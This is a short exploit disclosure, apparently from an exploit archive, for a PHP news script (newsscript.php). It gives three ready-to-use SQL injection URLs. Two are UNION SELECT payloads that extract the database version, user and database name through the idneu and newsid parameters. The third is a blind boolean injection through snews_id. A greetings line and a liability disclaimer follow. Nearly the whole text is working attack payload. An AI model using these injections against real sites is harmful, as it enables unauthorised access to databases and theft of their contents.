SQLi:
http://127.0.0.1/newsscript.php?m=archive&topic_check=ok&idneu=-1' UNION SELECT 1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--'
http://127.0.0.1/newsscript.php?mailto=ok&newsid=-1' UNION SELECT 1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--'
bSQLi:
http://127.0.0.1/newsscript.php?comments=ok&snews_id=1' AND 1=1--'
Greetz 2 fraggle
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information